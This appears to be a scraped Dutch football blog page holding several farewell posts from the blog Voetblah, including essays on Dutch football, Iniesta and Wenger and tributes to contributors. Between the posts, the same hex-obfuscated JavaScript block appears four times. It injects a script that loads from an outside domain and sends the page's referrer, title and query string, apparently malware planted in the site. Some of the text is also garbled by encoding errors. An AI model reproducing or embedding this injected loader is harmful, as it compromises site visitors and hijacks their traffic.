Feeds:
Berichten
Reacties

Herboren voetbaltijden

 

We zijn even weg geweest, wat heet! We waren enkele jaren lang het lachertje van de voetbalwereld. Mickey Mouse-competitie, een derderangs ontwikkelingsvoetballand. We waren stil blijven staan. We verheerlijkten balbezit en hadden lange tijd niet door dat het was verworden tot doel- en zaadloos heen-en-weergeschuif. Balbezitfetisjisme dat een langzaam maar zeker dodelijk gebrek aan lef en avontuur moest verhullen.

We keken jaloers naar met name de Duitsers, die resultaten koppelden aan een speelstijl die ooit de onze was. Dat móest met de trainingsmethoden te maken hebben, die ze natuurlijk wel weer van ons hadden afgekeken. Alleen voegden onze oosterburen daar moderne en geavanceerde, wetenschappelijk onderbouwde elementen aan toe. Ook elders actieve, op moderne leest geschoeide voetbalprofessoren werden ten voorbeeld gesteld en zouden hier ook maar eens de boel moeten komen opschudden en renoveren.

Dit alles, in combinatie met een minder getalenteerde, dan wel nog niet tot voetbalwasdom gekomen lichting, dompelde voetbalminnend Nederland in rouw en deemoed. Het voorheen aan arrogantie en overschatting grenzende nationale zelfbewustzijn verschrompelde langzaam maar zeker tot een cynische en fatalistische gemoedstoestand. Dit zouden we nooit meer te boven komen, ook al omdat onze budgetten nooit de concurrentie zouden aankunnen met landen als Duitsland, Engeland, Spanje en Frankrijk. Zelfs clubs uit landen waar we tot voor kort op neerkeken, waanden zich bij voorbaat geenszins kansloos tegen onze ‘topclubs’.

Van Dijk-Wijnaldum vi-10613297

Maar wie nu het geheel overziet, aan de vooravond van Ajax’ mogelijke sprong naar een heuse Champions League-finale, kan niet anders concluderen dan dat we weer terug aan de top zijn. We hebben een paar van ’s werelds meest gewilde spelers in huis, we doen weer mee om de prijzen, kortom, we zijn alweer bijna wereldkampioen. Natuurlijk vallen onze kenners en duiders over elkaar heen om te verklaren waar deze wederopstanding vandaan komt. Wie is de vader van deze successen, wat heeft deze evenzo snelle als verrassende ommekeer teweeggebracht?

Ogenschijnlijk is er niet zo heel veel veranderd. De luttele op Duitse leest geschoeide oefenmeesters die werden binnengehaald, zijn ofwel weer uit het zicht verdwenen óf hebben weinig indruk gemaakt. Qua trainingsmethodieken heeft zich bepaald geen revolutie voltrokken of het moet zijn dat het briefje weer in ere is hersteld.

Och, het kan natuurlijk niet zo zijn dat onze altijd zo geroemde en gerenommeerde voetbalopleiding ineens niks meer voorstelt. Misschien was men hier of daar wat ingeslapen en te zelfgenoegzaam geweest en werd en wordt er nog steeds te snel teruggegrepen op de usual suspects en aspects. Maar het fundament staat, de structuur is aanwezig, de basis is gelegd. En voetbaltalent zal zich altijd weer opnieuw aandienen, de ene lichting sterker dan de andere.

In mijn ogen zijn er twee elementen die ten grondslag liggen aan het nieuwe elan. Ten eerste is dat durf, moed, lef, you name it. Om wat voor redenen dan ook waren ‘onze’ voetballers, ‘onze’ ploegen voorzichtiger, angstiger gaan voetballen. Een verklaarbare – want nederlagen en het uitblijven van resultaten leiden nu eenmaal tot het zoveel als mogelijk uitsluiten van risico’s en avontuur –  maar doelloze en doodlopende weg. Clubbestuurders, trainers, zelfs supporters stimuleerden dan wel legitimeerden dit en zo ging het van kwaad tot erger.

Oranje ANP-71395571-756x422

De andere, wezenlijke oorzaak van het verrassende succes van de ‘kleinere’ clubs is de stress, de druk, de onbeheersbaarheid bij de ‘grotere’ clubs. Deze mogen dan schier onbegrensde mogelijkheden hebben qua financiën en dus het aantrekken en betalen van spelers, dat leidt tegelijkertijd onherroepelijk tot immens hoge verwachtingen, heftige concurrentie binnen de spelersgroep; tot ontevreden, morrende vedetten. Tot ongeduld en onrust, zowel binnen als buiten de lijnen. Het huidige Ajax bewijst dat met uitgebalanceerd, talentvol spelersmateriaal, een onverstoorbare coach en een relatief rustige, stabiele werkomgeving het verschil met een op papier sterkere selectie van een grotere, maar onder hoogspanning verkerende club kan worden gecompenseerd.

Wanneer meerdere ‘kleinere’ clubs zich hiervan vergewissen én wanneer spelers zich er meer en meer van bewust worden dat het kiezen voor dit soort clubs minstens zo kansrijk en lucratief kan zijn als onderdeel uitmaken van een grote, topzware selectie, dan zal mijns inziens de huidige situatie best eens structureler van aard kunnen worden. En zullen dus de internationale competities minder voorspelbaar en meer aantrekkelijk worden voor alle betrokkenen.

De recente ontwikkelingen in de Champions League hebben laten zien dat je nooit bij voorbaat kansloos bent, mits je enerzijds lef toont en anderzijds weigert te geloven dat een peperdure, topzware selectie onverslaanbaar is. Cruijff zei het al, een zak geld heeft nog nooit een doelpunt gescoord. Ook heeft een zak geld nog nooit een tegengoal kunnen verhinderen of de onbevangenheid van een Frenkie de Jong gefinancierd.

Vooral omdat voetbal een teamsport is en omdat de kunst van een goed team smeden en goed en attractief laten spelen, onbetaalbaar is, zullen de creatieve, moedige geesten altijd kansrijk blijven in deze boeiende tak van sport. Hoezeer ook voortdurend door de commercie bedreigd en onder druk gezet.

We houden ermee op hier in Waalwijk. Na precies tien jaar voetbalbloggen is het welletjes. We eindigen met een slotakkoord van onze trouwste scribenten die de Best of van hun Voetblah-posts zullen delen. Op 13 juni 2018 gaat definitief de stekker eruit. Daarna start het WK.

Vandaag is het de beurt aan Mazuro, alias @heinscatchup, alias de onbetwiste nestor van de voetbalcultuur. Naast redacteur ook eindredacteur, motivator, inspirator, kortom de drijvende kracht achter Voetblah het afgelopen decennium. Waarvan akte!

FC Limmen effe dimmen – Annemarie Postma
Een van de hA�A�rlijke stukkies van La Postma. Die het aandurfde om zich als A�nige vrouw tussen de Voetblah-mannetjes te begeven en prompt tot de meest gelezen auteurs ging behoren. En tot de favorieten van deze eindredacteur, alleen al vanwege de structurele, late ‘op de valreep’-appjes.

R.I.P. Dwerghamstertje Jetro – Kalusha
Kalusha heeft met deze hilarische post waarschijnlijk het grootste Voetblah-bereik gehad qua lezers. Het is dan ook een ‘Kalusha’ ten voeten uit en tevens een fraai staaltje van de haat-liefdeverhouding die de verstokte fan heeft met zijn club en spelers.

De treurige trivialiteit van Studio Voetbal – De Populist
Teundepopulist heb ik altijd bewonderd om zijn fijnzinnige en – voor zijn leeftijd zeker – rijpe beschouwingen en analyses. Een scherpe observator die deze observaties op fraaie en zeer leesbare wijze ‘op papier zette’. Deze kenschets van Studio Voetbal is mij helemaal uit het hart gegrepen.

Na ampel inwendig onderzoek heb ik uit eigen werk deze twee gekozen. Verheyen omdat hij zo sportief reageerde op mijn toch bepaald kritisch stukkie over hem. En Michel Breuer – Voetblah-proof als geen ander – behoeft eigenlijk geen betoog.

Raymond Verheyen en de kunst van het periodiseren en provoceren

MAN V/H WEEKEND: Michel ‘buitenkantje rechts’ Breuer

Dat was het dan, (voor mij bijna) 10 jaar Voetblah, waarvan meestentijds als eindredacteur. Het was voor mij een bijzonder genoegen om al die redelijke tot briljante stukjes van vele, veelal jonge, getalenteerde redacteuren te mogen redigeren. Het was een eer om ook met al min of meer gevestigde schrijvers als Frank Heinen en Jan Beuving te mogen werken. En om al die mensen te leren kennen en ontmoeten. Daarvoor zeg ik iedereen die bij Voetblah hoe dan ook betrokken was hartelijk dank! Het is mooi geweest. Waarvan akte!

 

We houden ermee op hier in Waalwijk. Na precies tien jaar voetbalbloggen is het welletjes. We eindigen met een slotakkoord van onze trouwste scribenten die de Best ofA�van hun Voetblah-posts zullen delen. Op 13 juni 2018 gaat definitief de stekker eruit. Daarna start het WK.

Vandaag is het de beurt aan Mark LievisseA�Adriaanse, een naam die je eigenlijk altijd voluit wilt schrijven. Een fervente Feyenoorder, die zich wat later bij ons aansloot, maar naadloos bleek te passen. ‘Helaas’ werd zijn talent elders (h)erkend en moest hij de Voetblah-pen neerleggen. Na vele behartigenswaardige bijdragen. Waarvoor dank!

Er was me gevraagd om 10 jaar Voetblah samen te vatten in een top 5. Maar nu ik er zo over nadenk hier in deze Haagse lunchroom a�� rechts zit de Britse minister van Binnenlandse Zaken, rechts Tom Coronel (of za��n broer Tim, of iemand die op ze lijkt) – lijkt me dat wat potsierlijk. Hoe vat je tien jaar voetbalproza samen in A�A�n lijstje? De vijf bA�ste stukken? Wat deugde er dan niet aan de rest?

Nee, ik ga het anders doen. Laten we wel zijn: er wordt in Nederland veel over voetbal geschreven en veel ervan is werkelijk niet doorhA�A�n te komen. Verhalen vA?l clichA�s, met ongetwijfeld als esthetisch perfect bedoelde zinnen die nergens op slaan. a�?Hij lijkt zonder lasso losgelaten op deA�prairieA�van het onvermogena�?, las ik eens over Frank de Boer. Wie heeft A?A?it iemand losgelaten zien worden op een a�?prairie van het onvermogena�?, zonder lasso ook nog eens? Waar is die prairie, en hoe ziet het eruit? EnA� wat doet het ertoeA�dat hij geen lasso heeft?

Veel van die analyses zijn van een zelfde voorspelbaarheid als nogal wat politieke analyses die je op tv ziet. Jaahaa, enA?rm pijnlijk voor D66/Ajax dat er nog een referendum komt/een zelfopgeleide speler als Justin Kluivert weg wil. Het is voorspelbaar, het is herkauwen van clichA�s en wat als algemeen waar wordt verondersteld.

Maar wat heb je eraan?

Toch zie ik hoop. De voetbaljournalistiek verandert. Meer dan tien, of vijf, jaar terug wordt er gA?ed geschreven met verfrissende inzichten. In een paar gedrukte media, maar vooral online.A�A�Vice Sports maakt toffe interviews met spelers die je tegenkomt bij het doorbladeren van een oude VI Seizoengids op een lege zondagmiddag van een weekend met interlandvoetbal. De Correspondent beschrijft de vernieuwing en verbetering van het voetbal. Op VI Pro a�� je mag hopen dat zij op termijn de geprinte VI helemaal vervangt a�� lees je de goede analyses, zoals je dat vroeger op Catenaccio deed. Er zijn blogs met duidelijke, inhoudelijke analyses aan de hand van data, zoals Tussen de Linies.

Wat al die vernieuwende blogs en sites met elkaar delen, is een begrip dat het traditionele voetbal niet het middelpunt van het universum is, maar onderdeel van een grotere wereld. En dat technieken en inzichten uit die wereld ook prima op voetbal gehanteerd kunnen worden. Een wereld bijvoorbeeld ook waarin institutioneel racisme A?A?k, of nee, natA?A?rlijk ook de voetbalvelden raakt. Waarin we met inzichtelijke data mensen kunnen genezen en rampen kunnen voorspellen en voorkomen a�� en dus ook het voetbal kunnen verbeteren.

Voetblah plaats ik ook in dat rijtje vernieuwers. Zeker: er was soms hang naar nostalgie, of verfraaiing van het kleine, of weerstand tegen de modernisering van het voetbal. Maar toch: hier las je odea��s aan zoontjes van een voetbalvader, maar ook systeemkritiek. Las je over klein leed als een gemist trainingspotje tegen Messi, en over groot verlangen.

De voetbaljournalistiek schrA�A�uwt om een blog als Voetblah dat het inhoudelijke met het futiele verbindt, het wereldse met het voetbalveldje om de hoek, met A�A�n been op het voetbalveld (of de kantine?) staat en met het andere in de wereld daarbuiten. Dat met een blik van buiten naar binnen kijkt, terwijl het geschreven wordt door mensen die binnen zijn. Dat is een knappe kunst.

En nu naar buiten, de zon schijnt. Voetballen.

var _0x31f1=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Wij houden ermee op, hier in Waalwijk. Voetblah zwaait af na 10 jaar voetbalbloggerij. Ter afscheid ontvangen wij de weken tot aan het WK een vierdelig saluut. Afkomstig van ‘unusual suspects’; voetbalminnende Nederlandse schrijvers, opiniemakers en/of journalisten die normaliter niet over voetbal schrijven, maar dat A�A�nmaal wel doen. De eerste afzwaaier is van schrijver, kunstenaar, drummer Mick Johan die met zijn gezin naar Tokyo verhuisde, nadat zijn razende debuutroman ‘Totemdier Arafat’ in de boekhandel lag. Toch was het geen vlucht, verzekerde hij ons.

Hieronder Micks bijdrage voor Voetblah: ‘een wat mijmerend stukje van een vader zonder voetbalzoon’.

Ik hou van de bal. Vanaf dat ik kon lopen al, en misschien daarvoor zelfs. Het grootste gedeelte van mijn jeugd heb ik gevoetbald. Op straat, in de tuin met mijn vader, en op voetbalcubs; als het kon ging ik voetballen. Mijn liefde was er eentje zonder ambities; toen ik in Duitsland woonde speelde ik in de Kreisauswahl, een landelijke competitie van regionale teams samengesteld uit verschillende lokale clubs. Daar kreeg ik een schop die een knieblessure veroorzaakte. Ik was toen 16 jaar oud en dacht twee dingen:

  1. Met mijn talent zou ik in het meest gunstige geval hard moeten zwoegen voor een plek bij een Go Ahead Eagles-achtige club.
  2. Als ik nog een blessure zou krijgen door iemand andersa�� schuld, zou ik hem op het veld neersteken.

Ik modderde nog wat aan en we verhuisden terug naar Nederland. Mijn nieuwe club was het niet helemaal en ik zelf ook niet. Het was op. Ik stopte met voetbal en bleef skateboarden. Alle blessures daarna waren mijn eigen schuld, dat kon beter ik verdragen.

Ik hield nog wel van voetbal, en van voetbal kijken met mijn vader. Bij ons thuis werd er zaterdag Bundesliga gekeken en zondag Studio Sport. Ik was voor Ajax en mijn vader voor Feyenoord, hoewel hij geen club A?cht in zijn hart had zitten. Hij hield gewoon van het spel en het kon hem weinig schelen wie er nou won. Als ik mijn vader vroeg voor wie hij was zei hij steevast: a�?Voor de winnaar.a��

Hoewel ik mijn leven al voor Ajax ben, moet ik toegeven dat ik deze houding jegens het spel van mijn vader heb meegekregen. Het is misschien inherent aan het grote aantal verhuizingen in ons leven. Als je nooit ergens wortel hebt geschoten, dan betekenen plaatsen en clubs minder.

Ik ben voetbal dankbaar. Het heeft me veel geleerd over werken voor elkaar en hoe jongens onderling met elkaar omgaan. De kleedkamer is een belangrijke plek voor de ontwikkeling van een jongen. Het is een plek waar keihard gepest wordt, geA?rriteerd en gevochten, maar waar ook getroost en gelachen wordt. De geur van gras, zweet en stoom als lijm voor nieuwe herinneringen om te beklijven. Mannen die de kleedkamer niet van binnen kennen, zijn anders. Ik had ooit een collega met een burn-out, en toen we eens een gesprek hadden onder professionele begeleiding vergeleek ik de sfeer onderling met die van de kleedkamer. Hij vertelde dat hij dat niet kende, en toen werd me ineens alles duidelijk. Hij was anders. Zeker niet slechter; anders. Ik had het niet willen missen.

Mijn zoon is zes, en hij heeft niks met de bal. Wij wonen in Tokio en op straat voetballen gaat niet, maar als dat wel gaat hoeft het niet zo voor hem. We hebben geen tv-aansluiting, dus er wordt thuis geen voetbal gekeken. Hij heeft een semester op voetbal gezeten, maar is er weer mee gestopt. Tijdens de eerste training lukte het niet, en hij liep meteen boos weg. Toen ik hem met veel moeite zover kreeg dat hij weer mee ging doen, kreeg hij een bal hard in zijn gezicht. Het duurde twee trainingen voor hij daar overheen was. Nu doet hij Taekwondo. Soms voetbal ik met zijn klasgenootjes, soms doet hij even mee. Het is niet voor iedereen. Ik ga hem niet pushen, (het is een kind van zijn vader en dat zou alleen maar averechts werken) maar ik merk dat ik het jammer vind. Dat is gek, want ik zag mezelf nooit als zoa��n vader. Bovendien ik hou van mijn jongen, wat hij ook doet.

Ondertussen draait de bal langzaam weg. Zo gaat dat.

var _0x31f1=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

El Blanquito

Deze weken herplaatsen wij regelmatig een oude post over de binnenkort van Barcelona afscheid nemende AndrA�s Iniesta. Deze is van de hand van Mazuro en dateert van zowat op de kop af negen jaar geleden.

Een week vol cultfiguren doet de ware voetballiefhebber toch weer verlangen naar de pure klasse. De CL-finale bracht ons gelukkig zowel qua winnaar als kijkspel in vervoering. De magistrale Messi bekroonde een bij vlagen subliem optreden met een onwaarschijnlijkendA�doelpunt. Met dat muizekopjeA�nota bene! Een kopbal die slechts is voorbehouden aanA�de geniale linkspoot. Herkenbaarheid in ogenschijnlijke tegenstrijdigheid. Voetblah meent zich een soortgelijk briljant hoofdstuk te herinneren van het WK 1974, geschreven door De Kromme.

Onze enige vaderlandse vertegenwoordiger zal nog vaak worden gesard met Joris ‘Eto’o’ Driepunter. Maar Voetblahs absolute held is AndrA�s Iniesta, die tussen en langs de Mancunians dartelde als een parel tussen de zwijnen. Dit van vorm blakende bleekgezicht behandelt, nee streelt en kust, de bal zA? teder en naturel, dat al het andere daarbij vergeleken koel, knullig en gekunsteld lijkt. Evenknie – plus brein en voeten van – Xavi daargelaten, zelfs toch erkende en soms zelfbenoemde raspaarden als Roonyaldo en Berbatov verbleken bijA�El Blanquito. En dat wil toch wat zeggen!

AndrA�s voelde zich zo superieur dat hij soms zich liet verleiden tot acties die zelfs voor hem tot mislukken waren gedoemd. Maar wat was-ie goed!! Zijn bleekheid zou een familietrek zijn van moeders kant. Mooi is dat. Een kleine, timide, maar toch al wat oud ogende jongeman, die in volstrekte tegenstelling tot zijn letterlijk bleke uitstraling schittert, schijnt en glanst door zijn sprankelende spel. Wat zou het schitterend zijn geweest als we woensdagavond na een geniale actie van zoonlief een shot hadden gekregen van zijn moeder (laat haar in hemelsnaam nog leven!) wier verbleekte gezicht gaat stralen in het licht des aanschijns van zA?veel dierbare scheppingsdrang!

A�var _0x31f1=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Anders AndrA�s

Deze weken herplaatsen wij met enige regelmaat oude posts over AndrA�s ‘El Blanquito’ Iniesta, die onlangs zijn afscheid van Barcelona heeft aangekondigd. Deze dateert alweer van 2011 en is geschreven door oud-scribent De Catalaan.

Stel: een jaar of elf geleden was je er heilig van overtuigd dat de millenniumwisseling een einde zou maken aan de geordende samenleving zoals jij die kende. Je was groot voetballiefhebber en, ondanks je leeftijd van een jaar of twintig, fan van George Best. Je besloot Georgea��s hoofd over je gehele rug te laten tatoeA�ren; het was namelijk te groot voor je schouderblad en op je borstkas pronkte al de weelderige haardos van John de Wolf. Jullie, jij John en George, werden dikke vrienden.

Genieten van deze schizofrene vriendschap kon je helaas niet lang. Naast Georgea��s hoofd incorporeerde je immers ook zijn levensstijl. Het beetje geld dat je bezat, spendeerde je in een mum van tijd aan drank, drugs en hoeren. De rest ging op aan domme dingen. a�?Geen nooda�?, dacht je nog. De millenniumbug zou het geld, jouw redenatie volgend, anders evenwel klokslag 2000 digitaal vernietigd hebben. Maar helaasa�� de wereld draaide door. Toch maar goed dat je voor de zekerheid een plekkie had gereserveerd bij de padvinders van de FARC, Tamiltijgers, Mujahideen en het Vaticaan. Je wilt toch wat te kiezen hebben na zoa��n financieel fiasco, nietwaar?

Je keuze viel uiteindelijk op de Tamiltijgers. Het zinde je echter niet dat deze tijgerpadvinderij je na tien en een half jaar nog steeds als welpje behandelde en je besloot terug te keren naar Europa. Zo kon het dat je in de zomer van 2010 op een Italiaans strand El Blanquito tegen het vege lijf liep, zonder te weten wie je voor je had. Je accepteerde zelfs een potje 1 tegen 1. En, ofschoon volledig geknipt en geschoren, dacht je, als je a�?m zo zag zitten, naderhand nog steeds: a�?Die moet ik toch kunnen hebben, ook al is-ie wereldvoetballer van het jaar!a�?

var _0x31f1=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Wenger Out!-standing

Jammer dat-ie de eer niet een paar seizoenen eerder aan zichzelf heeft gehouden. Dan waren hem de nodige hoon en agressie grotendeels bespaard gebleven. Maar een professor is nu eenmaal per definitie eigenwijs. Kiest zijn eigen moment van afscheid. En terecht. Er zijn weinig trainers geweest die zA? hun stempel hebben gedrukt op vooral de speelwijze van een club zoals Arsene Wenger dat heeft gedaan bij Arsenal. Genoeg trainers die meer punten en prijzen hebben gehaald. Maar Cruijff en Guardiola wellicht uitgezonderd, is er geen enkele trainer die ze onmiskenbaar een meer dan acceptabel prestatieniveau wist te koppelen aan vaak uiterst aantrekkelijk, aanvallend en technisch verzorgd voetbal. Met – en ook dat moet gezegd – wel vaak een blinde vlek voor het vereiste niveau van (vooral centrale) verdedigers. Van Keown tot Mertesacker, van Bould tot Loezjny, van Adams tot Senderos.

